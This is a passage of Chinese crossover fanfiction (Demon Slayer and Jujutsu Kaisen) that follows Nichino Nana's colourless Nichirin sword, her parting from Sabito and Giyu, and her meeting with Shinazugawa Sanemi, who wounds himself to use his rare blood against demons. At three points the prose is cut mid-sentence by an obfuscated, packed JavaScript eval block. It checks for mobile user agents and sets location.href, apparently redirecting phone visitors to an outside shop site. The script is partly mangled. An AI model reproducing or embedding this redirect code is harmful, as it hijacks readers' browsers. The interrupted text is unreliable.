锖兔举着另一张纸条，有些遗憾：“啊，我还没贴上呢。” 日野奈奈拍了拍手，把手上的木屑纸屑拍拍掉：“待会我帮你按着他，毕竟义勇居然把风筝弄坏了，不可饶恕。” “那真是太感谢了！” 逃跑的义勇肩膀抖了抖，拉开了木门。门外是三位背刀的匠人，脸上带着奇怪的面具。 尚未做完（不小心被义勇搞坏）的风筝放到了一边，晨光下的来者被迎到榻榻米上。三位年岁不大的新晋鬼杀队队员和对面的刀匠相对而坐。 日野奈奈看着对面负责为自己锻刀的刀匠，眨了眨眼。 这是一位充满热情的人，见日野奈奈似乎对刀充满好奇，热心而详细地为她讲解了日轮刀的矿石源自太阳之山的来历，其特异的杀鬼特性，以及变色的原理。 语毕，他期待地看着日野奈奈。 “不同的剑士会为刀赋予不同的颜色，那么您会带来什么样的颜色呢？” 黑发少女端坐在原地，她抱起地上的刀，垂落在地的马尾被不在乎地拂开。 一旁的锖兔和义勇都已抽出自己的刀，是漂亮的蓝色系。见日野奈奈抽刀的动作，几人的注意力也转移而来。 指节分明的手握着刀柄，刀身一寸寸从鞘中抽出，直到刀尖闪烁锋利的锐芒。 在场的其他人呼吸均是放轻，莫名的期待在他们心间呐喊着。 锖兔的视线从刀上慢慢转移到少女的侧脸。 日野奈奈的侧脸和之前藤袭山下掩目的少女形象重合，他的肩膀处隐约传来温暖的感觉。 曾有一只手轻柔地触碰那里，金色的光芒在掌心绽放，于是和阳光一样柔和纯净的气息覆盖住他强行遮掩的痛苦，将伤痕从他的身上抹去。 那是无比奇异的力量，如同神赐，来自于眼前这位缓缓抽刀的少女。 锖兔眨也不眨地看着崭新的日轮刀被少女握在手中，刀身净如新雪，反射出日野奈奈金色的瞳孔。 随后那枚金瞳一转，他们对上了眼神。 锖兔一愣。 打断对视的是刀匠的一声暴喝。 “搞、什、么！！” 旁边的刀匠猛然一蹦三尺高，脸上的面具气成狰狞的畸形。 “怎么可能，怎么可能！” “——这把刀为什么没变色啊！” 在木屋内堂堂袒露的日轮刀不动如山，刀身赫然与抽出刀鞘时无异。 日野奈奈慢吞吞地把刀收回刀鞘。 “我的锻刀技术难道有问题？不对，完全不对啊！我明明是很虔诚地打造这柄刀的啊！” 刀匠哭天喊地，时而不可置信地喃喃自问，时而在墙壁旁悲愤不已地框框砸头。 义勇歪头：“疯掉了？” 日野奈奈见刀匠这番模样，难得有些良心不安，好心道：“这跟你无关，应该是我的问题。” 刀匠眼泪汪汪地回头：“您不用安慰我，一定是我哪里出了纰漏。毕竟主公大人可是点名让我为您好好锻一把刀啊！” “对不起，主公大人，对不起，日野大人，我辜负了你们的期望！”刀匠痛哭出声。 “主公大人？”一直在旁围观的鳞泷左近次讶异出声。 其他人也都愕然看向刀匠，刀匠抹抹眼泪，半掀面具使劲捻了下鼻子：“别问我，我不知道具体情况。” “但主公大人确实指名让我为日野大人打一把结实的刀，比普通的日轮刀还要结实，除此以外便没有其他要求了。” 室内沉默一瞬。锖兔的目光不动声色地移回奈奈身上。 良久，鳞泷左近次沉吟：“……难道主公大人早就知道会发生这样的事？” 而且这刀匠十分自然地将少女的身份抬得很高…… 主公大人，您在想什么？ 日野奈奈察觉到鳞泷左近次审视的目光落到自己身上，她挑起眉毛。 看来这个主公大人是个大人物啊。 虽然不知道为什么对方关注到她，并向她抛来了橄榄枝，但她做事向来问心无愧。 少女托腮道：“关于刀为什么不变色……可能是因为我不会呼吸法吧。” 日野奈奈想，除此以外应该也没有其他原因了。 在狭雾山的这几天，她深刻意识到了这个世界的力量形态与咒术界是并不相同的。 这个世界中，拥有强大力量的人是借由名为呼吸法的剑术，从普通人开始一点一滴积累训练而成。 而咒术界掌握特殊力量的咒术师，天生便是天选之人，拥有异于普通人的大脑，掌握生来便有的术式和咒力。 从某种程度上来说，虽然都是站在力量顶峰的强者，但咒术师和呼吸法剑士可以说是两种形态的生物，毕竟咒术师的身体构造异于常人，不能算是普通人类。 她的体术和剑术是依赖咒力加持的，之前的杀鬼也是按着之前杀咒灵的步数。更何况她在这个世界初来乍到，去哪能学呼吸法啊！ 刀匠怔怔道：“哦，原来是这样……原来是，嗯？！” ——不会呼吸法的剑士？ 不会……呼吸法？ 刀匠张大了嘴巴，鳞泷左近次拧起眉头。 室内四下静至可闻落针。 忽然，旁边传来窸窸窣窣的蛄蛹声，日野奈奈一低头，对上一双亮晶晶的蓝色眼睛。 义勇的大眼睛睁得老大，兴奋道：“好厉害！不会呼吸法也可以这么强悍！” “那你的力气为什么这么大？是天生的吗？之前很利落的剑术也是自己领悟的？有老师教你吗？还有——” 黑发少年叽叽喳喳，直到一只手拽住了他暗红色的后领：“够了，义勇。” 是锖兔。 他垂着眼，止住义勇的话语后便再无动作。 义勇闭上了嘴，后知后觉木屋内的气氛有些凝滞。 他迟疑地问锖兔：“……怎么了？” 肉粉色头发的少年将目光投向了自己的恩师。 衣服摩擦的声音传来，是鳞泷左近次站起了身，他客气地对着几位刀匠点点头：“我送您。” 刀匠懵懵地对望几眼：“不用，我们自己走便好。” 鳞泷左近次闻言也没多说，帮刀匠们扶开了门。 日野奈奈耳旁传来问询：“还做风筝吗？” 她收回视线，懒懒点头：“当然。我还答应帮你按着义勇呢。” 锖兔露出笑容：“那就好，就怕你忘了。那么义勇——” 他不怀好意地回头，墙角偷偷摸摸溜走的义勇一僵，随后如兔子般撒腿就跑。 “我不要被贴纸条——” “你必须贴！快追！” “义勇~做了错事就要付出代价呀——” “真菰快帮忙，义勇往你那里跑了！” “喂！！” 少年人嬉笑欢闹的声音沿着林子越传越远，与刀匠一同走出门外的鳞泷左近次脚步顿了顿。 他面具背后的脸庞柔和一瞬，随后看向了几位刀匠：“劳烦诸位大老远帮我几位弟子跑一趟了，感激不尽。” 刀匠谦逊推诿：“不敢当，鳞泷阁下。为剑士们锻刀是我们应尽的责任。” 鳞泷左近次笑了一下：“奈奈是个好孩子，她的情况我会书信一封请问主公大人。” “所以……恳请各位能对今天的对话保密。” 不会呼吸法却能杀鬼不是一件罕见事，毕竟熬到日出便能迎来鬼的克星。但不会呼吸法却能如呼吸法剑士一般杀鬼，从未有听说过有这种情况。 那个孩子的力量一定是与众不同的，鳞泷左近次敏锐察觉，虽然很强大，但也一定不是寻常道理能解释的来源。 是变量，值得警惕，但…… 鳞泷左近次轻叹一声。 ……他相信平安归来的弟子们的眼光。 刀匠一愣，才明白这位 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17102895|195754||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 受人尊敬的前水柱大人为什么要特地送他们一程。 负责日野奈奈的刀匠笑道：“放心吧，鳞泷阁下。我们相信主公大人，也相信您的判断。” “日野奈奈大人她……一定会成为大家信赖的强大剑士。” “——日！野！奈！奈！” 日野奈奈笑嘻嘻地把义勇按住，旁边的锖兔眼疾手快往黑发少年脸上狂贴纸，真菰扶着大树笑得直不起身。 义勇悲愤：“太过分了！你怎么可以这么对我！” 日野奈奈撇过头当没听见，锖兔果断接手，用纸条把自己师弟的小脸贴得满满当当，两位女孩则在一旁愉快地提新点子。 笑闹了好半天，义勇差点被逼得和锖兔用水之呼吸对砍，一直到鳞泷左近次过来赶人，几人才气喘吁吁地停了下来。 回到木屋后，义勇便顾不得跟日野奈奈和锖兔置气，跑到前院欣赏自己的刀。锖兔和真菰也相约去旁边训练。 短暂的玩乐后，室内只剩下日野奈奈和鳞泷左近次两人。 在难得的安静中，日野奈奈以为鳞泷左近次会开口询问自己什么。 但是她等了很久，带着天狗面具的老人还是平静如常地对待她，只是让她来帮忙择菜。 鳞泷左近次不开口，日野奈奈自然也不会多说。 一番忙碌过后，转眼便至夜晚。 这一年的最后一个夜晚是难得的晴空。 有一手精湛木雕技术的鳞泷左近次竟然还有一手惊人的厨艺，饱餐一顿后，日野奈奈揣着手出门散步。 高专校服早就洗掉收起，日野奈奈穿着一身真菰借的和服，在悬崖边上舒舒服服坐了下来。她晃了晃脚，瞳孔里倒映山下的小镇灯火。 数着指头算了算，她也来这快半个月了呢。 在出那个二级咒灵任务前，日野奈奈没想到这会是第一个没有和夏油杰一起度过的新年。 她托着下巴眯眼吹风。 ……想必夏油老师肯定找她找疯了吧。 “夏油老师是谁？” 身后有问询传来，日野奈奈才惊觉自己把心里话说出了口。 她回头看了看，是锖兔。 肉粉色头发的少年披着黄绿色的龟纹羽织在她身边坐下，手里还拿着一个眼熟的风筝。 奈奈的目光落在风筝上，锖兔解释道：“义勇偷偷补好的，但不好意思拿给你。” 少女笑了一下：“小屁孩。” 锖兔不赞同地摇了摇头：“明明你和我们也差不多大吧。” 日野奈奈没反驳。她转回头看向了满天繁星，夜幕如黑色布帘，围织着珍珠般的明月。 锖兔陪她静静地吹风，风筝的尾巴在风中轻轻作响。 “夏油是我以前的老师，”日野奈奈眯着眼道，“也是我的家人。” “他捡到了小时候失忆的我，把我慢慢养大，一年前我入学了他所在的学校，成为了他的学生。” “……现在的话，在他眼中，我应该是失踪了吧。” 日野奈奈舒展了下身体：“那混蛋老师说不定在满世界地找我呢，哼哼。” 锖兔捋着手中的风筝，耳边的散发柔柔地飘动：“这样啊，看来奈奈的家乡在很远的地方呢。” 日野奈奈看着锖兔捋着风筝条子，那双布满粗茧指节分明的手耐心地将缠在一起的风筝尾巴一遍又一遍地解开。 终于把缠死的带子解开，锖兔侧首注视着旁边的少女：“有机会的话，一起去奈奈的家乡看看吧。” 日野奈奈一顿。 锖兔没有在意她的不语，他站起身来，乘着夜间的微风把风筝猛然一抛。 被打着笨拙补丁的风筝低低地在半空中飞起来。 “这是试探吗？”日野奈奈突然问。 锖兔一怔，有些惊讶地看向她。多时，才轻轻笑开。风筝随着笑声轻轻起伏。 银瞳的少年注视着奈奈，眸光在月色下闪烁，他将手中的风筝线向奈奈递来。 “真伤人啊，”他笑着说，“这可是关心哦。” 5. 不死川实弥（已修） 日野奈奈看了看他，从对方厚实的掌心接过了风筝，指尖有一瞬间的交触。 “行哦，我会好好收下的，”她扯着线，风筝在空中摇摇晃晃，“来自我亲爱队友的关心~” 明月高悬天际，银色的轻纱笼着夜间的孩子。 礼尚往来，锖兔讲起了以前的生活，有关狭雾山，有关师门，也有关自己。 两人半夜站在悬崖边上放了大半夜的风筝，一直到聊累了才回屋子里睡觉。 元日。 日野奈奈眼睛还没睁开，窗边突兀传来鎹鸦的叫唤。 “西北北，西北北！” “鬼杀队癸级剑士日野奈奈，请前往西北方向的村庄，那里正有孩子在不断失踪，请快去将隐匿在黑暗中的鬼斩杀！” 清晨的光线很微弱，少女闭着眼睛躺得安详，毫无动静。 鎹鸦见状嘴巴一闭，从窗户边俯冲下来疯狂叨她。 “啊，我知道了！走开！” 日野奈奈迅速换上队服，满脸怨气地拉开房门。 锖兔和义勇正坐在门口穿鞋，见她出来纷纷问候：“新年好。” “新年好。”熬了半夜的日野奈奈有气无力地加入他们，惊奇地看了神采奕奕的锖兔一眼。 大家都熬夜，为什么你这么精神？ “我和义勇都要往南边走，奈奈呢？”锖兔很自然地问道。 日野奈奈：“哦，可惜，我往北。” 她打了个大大的哈欠，鎹鸦在她的肩膀上歪头，豆大的眼睛在三位队员中移动。 “分开了呢，”锖兔穿好鞋站了起来，靠在门边看着奈奈，“这次一分别，不知道多久才会再聚。” 日野奈奈看了他一眼，穿好鞋起来活动几下：“会有机会的。” 她弯起唇角：“做好这个任务，我就往南走。” 少女朝着新结交的朋友们眨眨眼，锖兔挑眉，心照不宣地回了个眼神。 义勇批着红色羽织有些赌气道：“下次见面，我会比你更厉害，然后往你脸上贴纸条。” 日野奈奈拉开了门：“拭目以待。” 晨光轻柔地盖在肩头，换上队服的少女回头：“锖兔，义勇，说好了哦，在和我重逢之前，大家都不许死。” 锖兔一愣，和义勇对视一眼，两个正值青春的少年意气风发，冲她微笑。 “当然！” 下山后，日野奈奈在山脚处看到了望远的鳞泷左近次，看见她后，老人朝她点点头。 “一路平安。” 随后，鳞泷左近次便不再看她，目光移回了远处的地平线。 ……结果到最后，这位老练沉稳的培育师还是什么都没问她。 日野奈奈在原地停步久久，朝那个方向很轻地欠了欠身，脚步轻快地离开了。 水之呼吸这一门派虽然个性各有所异，但真是一脉相同的温柔啊。 周围景象不断变换，狭雾山渐渐被抛在身后，天色渐明，太阳的味道逐渐浓烈起来，日野奈奈开始总结这几天的思考。 ——她还是没有找出回到咒术界的办法。 无论是往周围探索，还是用自己的咒力进行感应，她都还是找不到通向咒术界的“门扉”。 哪怕在富冈义勇的身上感知到奇妙的咒力回馈渠道，但少年本身与咒术界并无关联，他连自身给予日野奈奈的咒力都并不知晓。 日野奈奈并不明白为什么义勇会是那个特殊的个体，但她现在确定的是，义勇绝不是那个唯一。 越是相处，她越觉得他身上的那个“来源”不太完整。 或许她得继续找出其他的“来源”，才能知道下一步该做几何。 从这一方面来看，日野奈奈当初跟随村田参加最终选拔的举动无比正确，鬼杀队队员的身份既能为她提供四处搜寻的自由，也有工资支撑她的生存。 想起从鎹鸦口中得知的工作报酬，日野奈奈心情愉悦了很多。 不管怎么样，走一步算一步。 少女脚下用力，几个跳跃，身影遁入新的山林中。 * ……说实话，日野奈奈没想到这个任务这么容易就解决了。 这只鬼比她初遇村田的那只鬼还要弱。 死前好像还在喊着什么“不甘心”“明明吃了好几个孩子”“对不起大人期望”，日野奈奈懒得听，一刀秒了。 不过这把新的日轮刀确实得心应手，削鬼如泥，见血封喉。 日野奈奈摸了摸雪亮的刀身，有些视若珍宝的意味。 她把新的日轮刀别在右边，左边是她从咒术界带来的长刀。 脚下倒在血泊中的恶鬼渐渐消散，鎹鸦在头顶盘旋，叫声短促。 “奈奈，西南南，西南南，下一个任务！” 日野奈奈意外地朝鎹鸦看了一眼。 安排这么紧凑的吗？中间不休息？ 鎹鸦似乎看出了她的疑惑，在她肩膀上收翅停下：“鬼杀队只有五百余人，而鬼却源源不断，所以，要不断努力！” 懂了，工作无尽头，要学会自己摸鱼。 日野奈奈摸了摸鎹鸦的头：“那我们往下个地点去吧。” 然后中间找个镇子随便休息一天，她在心里默默补充。 日野奈奈的第一个任务处于偏僻的村庄，规模不大，也没有哪里可以补给物资。等赶路途中经过一个比较繁华的镇子，她才暂缓脚步。 日野奈奈捧着一杯讨来的热水，舒了一口气：“好温暖啊。” 新年刚过去不久，街道上喜气洋洋的装饰还有一些遗留。有孩子举着糖欢笑着从身旁跑过，街边的面馆里人声起伏，一派热气腾腾的样子。 “唉，你们家也是不容易，早点回家歇着吧，天都要黑了。”最近一家店有对话传来，日野奈奈扫了眼。 “还差最后几件衣服，客人今晚就要，我送完便回去。”一位身材娇小的妇人笑着对店家说，“劳烦您关心了。” 店家摇了摇头：“你是个能干的，那么快去吧，你家的孩子都在家里等你吧？别让他们担心。” 谈起自己的孩子，妇人的笑更加温柔：“是啊，他们都是懂事的孩子。那么我先走了，谢谢您，下次有事情还可以找我。” 对话声逐渐减小，不过是一段小插曲，被往前走的日野奈奈略了过去。 正值黄昏，日野奈奈在街上绕了绕，找了家旅馆住下。因为在镇子边缘，价格也很便宜。 她满意地在榻榻米上踩了几圈，舒舒服服一坐。 鎹鸦歪着头看她，日野奈奈抛去一把小米，它便低头吃饭无暇关注了。 奔忙几天的少女往后一倒，浑身肌肉都放松了下来，她感慨：“休息才是人生的意义啊！” 说着，她闭上眼慢慢睡着了。耳边是鎹鸦啄米的声音，街外的喧嚣缓缓淡去，冰凉的月光悄然出现，倾泻在房间内。 夜半，日野奈奈被一阵匆忙的奔跑声吵醒。 “滚开，不要！” “救命，有人听到吗，救救我！” 女人带着哭腔的声音在窗外的街道远远传来，最后是奇怪的嘶吼和吞咽声。 日野奈奈敏锐地听见隔壁传来悄悄关窗的声音，在这人迹稀少的小镇边缘，没人想管闲事。 少女扒拉着窗口向下看去，想看看哪家搁这儿扰民。 这么一看，哦豁，业绩上门了。 奈奈挑眉，抄起旁边的刀往外一跃。 锃！ 刀身出鞘，雪亮刀光在夜间现出一条银线。 远处，女人蹒跚的步伐前是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17102896|195754||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一只流着口水的恶鬼。 鬼狞笑着朝女人扑去，女人惊恐地尖叫起来，眼睁睁看着阴影朝自己覆盖而来。 ——太远了！ 日野奈奈毫不犹豫地准备掷刀而去。 在她刀亟待脱手的前一刻，另一个身影飞扑到鬼的身上，凶狠地将它撞开！ 突现的白发少年满眼恨意地掐住鬼的脖子，将鬼狠命抡在地上，随后便是一拳一拳毫不犹豫地全力砸去。 一拳，两拳，三拳…… 鲜血飞溅在半空中，少年面色恐怖，横贯脸颊的伤疤狰狞地扭曲。 哇……日野奈奈睁大眼睛。 她轻点脚尖，在少年身边落下。 日野奈奈弯腰看他，好心道：“这样子是杀不死鬼的哦。” 少年置若罔闻，布满血丝的眼睛死死锁定鬼，仍在闷头肉搏。 旁边死里逃生的女人啜泣着，抖如筛糠，她含泪注视着扭打在一起的人和鬼：“血……流了好多血……” 鬼都被打成这样了，不流血才怪吧。日野奈奈吐槽。 不过，好奇怪哦，这只鬼面对这种攻势好像毫不反抗呢。 日野奈奈看着地上行动僵硬的鬼，稀奇地挠了挠头。 没有多耽搁，她撩腿轻巧地踢开了少年，挥刀斩断了地面上抽搐着的鬼。 鬼头落地，丑陋身躯和四溅的血迹开始淡化。 鬼消散后的灰烬向天际飘去，不吭声的白发少年第一次将目光落在日野奈奈身上。 他面色漠然：“你是怎么做到的。” 日野奈奈收刀入鞘：“什么？” “杀死这个东西，”少年盯着她，“阳光才能杀死这个东西，不是么？” 日野奈奈了然：“你之前就遇到过鬼。” 她朝少年挥了挥手中的刀鞘：“你说得没错，阳光能杀死这个东西，不过这种叫日轮刀的刀也能。” 少年的眼神在她腰间的刀上停留了很久：“我该怎么拿到这种刀？” 鬼的身体完全消失，最后零星的灰烬散去，日野奈奈与少年对上了眼睛。 啊，那是一双多么明显的，被仇恨洗礼过的眼睛啊。日野奈奈想到。 少年那双幽紫色猫瞳暗淡深邃，眼中的温度被滔天火焰焚烧殆尽，只留下可怖而疯狂的余烬。 他衣衫褴褛，肮脏的衣物上勉强能看出纯白的底色，白色发丝凌乱地散在头顶，在额前投下阴影。 “告诉我。”少年朝日野奈奈急切地迈近一步。 啪嗒。 一滴血液滴落在地上。 日野奈奈低头，从下一滴血液垂落的来处看见少年被袖口遮掩的手臂深处，一条长长的，新鲜的疤痕。 “嘎——稀血！” 姗姗来迟的鎹鸦在两人头顶盘桓，吓了日野奈奈一跳。 “稀血，是恶鬼的大补之物！吃一顶多的大补之物！” “这位少年的稀血更是最顶级的一批！恶鬼闻了便会如醉酒一般影响行动！” 鎹鸦落在日野奈奈的肩头，歪头注视着面前少年的伤口。 日野奈奈诧异地看向少年。 这就是他杀鬼时鬼不反抗的原因吗？ 看来他早就发现自己体质特殊了，割开伤口是为了麻痹鬼的行动…… 少年固执地看着日野奈奈：“请告诉我。” 日野奈奈收回视线：“……那就先加入鬼杀队吧。” 少女抚了抚鎹鸦的羽毛，金色的瞳孔倒映着少年的身影。 “那么，你的名字是？” 少年看着她，似乎回忆起不堪回首之事，额角青筋抽动两下，眸底透露出深深的疲倦和痛苦。 他低低地说：“……不死川实弥。” “我是，不死川实弥。” 6. 争执（已修） 话音刚落，眼前划过一道弧线。 不死川实弥下意识接住，摊开手一看，是一卷绷带。 他一愣。 日野奈奈颔首：“认识了，不死川君，给自己包扎好吧。只知自伤而不知自愈的人可不会成为合格的战士。” 少年猛地攥紧绷带，又缓缓松开，垂眼包扎起来。 日野奈奈没多看他，朝另一边的女人走去。 这位刚遭遇性命之忧的可怜人显然精疲力尽，不知何时伏在一旁晕了过去。 将她翻过身后，日野奈奈看到了她的脸。 之前在街上出现的熟悉面孔一闪而过，是白天那位满脸幸福和店家谈论孩子的妇人。 日野奈奈想，如果没有鬼的话，她也不会如此狼狈地被追猎，而是在送完衣服后便安然回家了吧。 少女默默把她背到背上，思考是否将她带到自己栖息的旅馆。 “我知道她住在哪儿。”旁边的人突然出声。 少年老老实实把日野奈奈扔来的绷带缠完，用牙咬断最后一截，固定。 “她家不远，跟我走。”不死川实弥说。 日野奈奈挑眉跟上。 夜晚的街道很安静，只有他们的脚步声在房屋间回荡。 “你很熟悉这一带吗？”日野奈奈和不死川实弥闲聊。 “刚来不久。”不死川实弥冷冰冰道。 他熟练地在街角拐弯，日野奈奈把妇人往上颠了颠：“看不出来。之前你那架势，我还以为这位夫人是你认识的人呢。” 前方的白发少年脚步一顿。 熟悉温柔的笑颜在脑海中浮现，不死川实弥身躯僵硬了一瞬。 街上就只有他们三人，少年停驻的身姿格外显眼，日野奈奈歪头：“怎么了？” “……到了。”不死川实弥深呼吸两下。 他向最近的这栋房子走近几步，刚想敲门，被日野奈奈拦住。 “诶，这么迟了，不用那么乖。”她笑眯眯道。 不死川实弥拧起眉头：“哈？” 还没来得及发火，他睁大眼睛。 只见日野奈奈抱紧妇人垂在两边的腿。 脚下猛然发力，少女一下子窜到房子二楼的窗口边沿。 不死川实弥一惊：“喂！” 那边的日野奈奈已经毫不见外地拉开了窗，和里面听到动静醒来的小孩对上了眼。 看见一个背光的黑影钻进房间，孩子惊恐地往后爬。 在他叫出声前，日野奈奈把背上的妇人往地板上一放。 “你妈妈。”她好心示意。 下一秒眼疾手快关上了窗。 “再见！” 日野奈奈轻巧地落在不死川实弥的旁边：“搞定。” “……” “……”不死川实弥很想说什么，但喉咙被无语的情绪卡得死死的。 算了，他额角青筋跳了跳。 “接下来呢？”他问，“去杀下一个鬼？” “西南南，西南南！” 鎹鸦应景地叫了起来，催促少女去做之前发布的第二个任务。 一人一鸦都紧紧地盯着奈奈。 刚想伸懒腰的日野奈奈抽了抽嘴角，她本来想回去补个觉来着。 谁知道这本来就是她摸鱼选择的落脚点啊！ 奈奈幽幽地看向鎹鸦：“额外解决一只鬼，能申请多余的工资吗？” 鎹鸦神采奕奕：“这是鬼杀队员应得的报酬，我会向上反应的！” 它期待地看着日野奈奈，一旁的不死川实弥也抿着唇盯着她。 对着一大一小执著的两双眼，日野奈奈投降般举起手：“……行吧，行吧，那我们这就出发去下个地方。” “给我点时间去留个房费，可以吧！” * 在旅馆的榻榻米上放下钱，日野奈奈被迫放弃宝贵的摸鱼时间，踏上新的旅程。 不过这次多了个旅伴。 白发少年抱臂看天，脸上的伤疤在林间的月光下明灭。 日野奈奈收回视线。 她在思考之前跟不死川实弥说的话。 “加入鬼杀队”啊…… 少女有些心虚地挠了挠脸。 话倒是很漂亮地说出去了，但她完全不知道怎么操作呢。 毕竟她是直上藤袭山跳级到最终选拔的插班生啊！ 奈奈不动声色地瞥了眼跟她并肩的不死川实弥。 应该是因为杀了一只鬼，不死川实弥身上那种狂躁偏执的感觉少了很多，目前呈现比较平静的状态。 要是知道了信誓旦旦对他发出“加入鬼杀队”邀请的日野奈奈本身也不知道具体怎么入队…… 少女闭上了眼。 她不想看火山喷发。 日野奈奈努力回忆这段时间和鬼杀队相关的一切，尤其是之前和锖兔在大晦日夜晚聊过的内容。 “……我啊，从小就生活在狭雾山了。” 记忆里的少年举着风筝线，袖子滑落堆折在手肘处，露出结实漂亮的薄肌线条。 “鳞泷师父很照顾我们，但加入鬼杀队是我必选的路径，也是必须直面的未来。” “哪怕训练再艰苦一样，是男人就得扛下来。然后慢慢地打磨，直至臻境。” 回音犹在脑海中飘荡，日野奈奈眼睛一亮。 锖兔他们走的就是最传统的路子，训练、选拔、入队。 每个人最开始必做的就是训练，日野奈奈想起鳞泷左近次是个培育师的事情。 “早羽~”奈奈呼唤鎹鸦的名字，“有什么办法能帮我联系鳞泷左近次先生吗？” “我需要问问能否把不死川君送到狭雾山。” 一旁的不死川实弥听到自己的名字，转头看来。 鎹鸦挥舞着翅膀：“嘎，我可以送信——但现在出任务，不方便。” 日野奈奈果断道：“做完这个任务后暂停一下，你去送信。” 鎹鸦应了下来，不死川实弥问：“鳞泷左近次是谁？” 解开了难题的日野奈奈拂开挡路树枝，愉快道：“哦，先不告诉你。” 不死川的脖颈爆出青筋，但余光瞄到少女腰间的刀，实弥咬了咬牙。 他有求于人，他忍。 赶路的时间飞快流逝，彼此和谐地相处了两三天，日野奈奈闲时无聊，便把自己从咒术界带来的刀暂借不死川实弥，教他一些发力的方法。 这么一教，让日野奈奈发现了些许不妙的地方。 又是一天，他们暂且在河边落脚休息，日野奈奈又惯常围观不死川实弥挥刀。 “停！” 头疼地揉了揉额角，她有些无奈地叫停：“又来了，那种小动作。” “你是抖M吗？”她忍了又忍，还是没忍住吐槽。 不死川实弥皱眉：“什么意思？” 她总是冒出一些他无法理解的词汇，不死川实弥烦躁地想。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17102897|195754||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “就是说，你怎么老是想在挥刀前割伤自己？”日野奈奈从他手中夺过刀。 她高高举起，毫不犹豫地朝自己的左腕刺去。 刀锋未落，不死川实弥瞳孔一缩，条件发射握住少女挥刀的手腕：“你干什么！” 日野奈奈顺着他的动作挪开手，轻飘飘道：“我在模仿你啊。” “哪怕全神贯注在刀身上，哪怕集中注意想做好挥砍的动作，但是啊，”她深深叹气，“为什么老是想要先切开自己的皮肤呢？” “会对别人受伤感到不适的你，为什么会下意识将刀锋先对准自己呢？” 她将手轻轻点在不死川实弥的左腕，如蜻蜓点水般的暖意在肌肤上漫开，少年一僵。 他低头看去，一道红痕赫然在日野奈奈所指之处。 ——一道还来不及割开的细线。 不死川实弥呼吸一窒。 日野奈奈看着他：“你是不是还忘不掉自己的‘稀血’？” 一直藏着的事被挑明戳破，不死川实弥心头一跳。 少女还在注视着他，不死川实弥大脑空白，而后窘迫和不甘如附骨之疽爬入心间。 指节捏得发白，指甲深深嵌入掌心，渗出血丝，他却丝毫未觉。 少年声音沙哑：“……那又怎样？” 家中残留的景象浮现在不死川实弥的脑海。 那天早上母亲出门的时候，明明还是那样亲切。 但是那个晚上，当他找到变得奇怪的母亲时。 当母亲在他身上划下第一道伤疤时。 当那张熟悉却狰狞的脸变得陶醉而痴迷，身形在他面前跌跌撞撞时—— 不死川实弥便知道母亲不再是自己的母亲。 不死川实弥便知道自己的血液异于常人。 他能如何？他该如何？ 稀血帮他挺到了天亮，稀血是诱鬼的饵料，稀血是杀鬼的手段！ 他的体质如此，任何人都没有资格劝他放弃这个对鬼利器！ 不死川实弥满脸戾气，他冷冷看着日野奈奈，少女姣好的面容上浮现出一种不知该如何的苦恼。 你想劝我珍爱自己吗？他漠然地想，觉得这份可能的怜悯是多么可笑。 “啊，真是伤脑筋。”日野奈奈敲了敲头，“你那副‘全世界都不理解我’的表情真是好让我不爽。” 她呵呵一笑：“你觉得我想让你放弃自残杀鬼的想法吗？” 不死川实弥满脸写着“不然呢”。 “笨蛋！”奈奈额角爆出青筋。 “听着，我对你怎么使用自己的身体毫无多余看法，但既然你想加入鬼杀队，换言之想成为一名杀鬼战士，那么你的血液，你的四肢，你的思想便都应该为杀死敌人而服务。” “如果你的固执能让你一往无前，能让敌人葬送在你的手下，那么再怎么可笑愚笨的理念也无所谓，但是——” “若你的偏执只能让你先于敌人而挫伤自己，以致于在未来的某个瞬间失去致敌胜机，再怎么追悔莫及，也只能让一切成为无意义的笑料。” 日野奈奈逼近不死川实弥，胸腔剧烈起伏：“你觉得自己的身体很强壮吗？你的肌肉很结实吗？你的思想够坚韧吗？” 血液在体内汩汩奔流，心脏重重地跳动，白发的少年睁大眼睛看着她，她隐约听见过去的回音，往事轰鸣着朝她卷席而来。 “如果没有，那么为什么要选择停在原地，把刀尖留给自己？” 7. 第二个任务（已修） 一连串的追问下，空气骤然寂静。 不死川实弥错愕地看着日野奈奈。 面对少年那张仍存稚嫩的面容，那双暗藏痛苦的眼睛。 熟悉得仿佛和过去重叠，日野奈奈想起入学高专前的场景。 夏日的蝉鸣总是扰人，哪怕捂着耳朵也无济于事。背后有人叫她的名字，她脚步不停闷头往前走，直到一双大手搭住她的肩，无奈喊她。 “奈奈。” “真是的，你也有这么任性的时候啊。” 少女停住了脚步：“在你看来，只要我拒绝入学高专就是任性吗？” 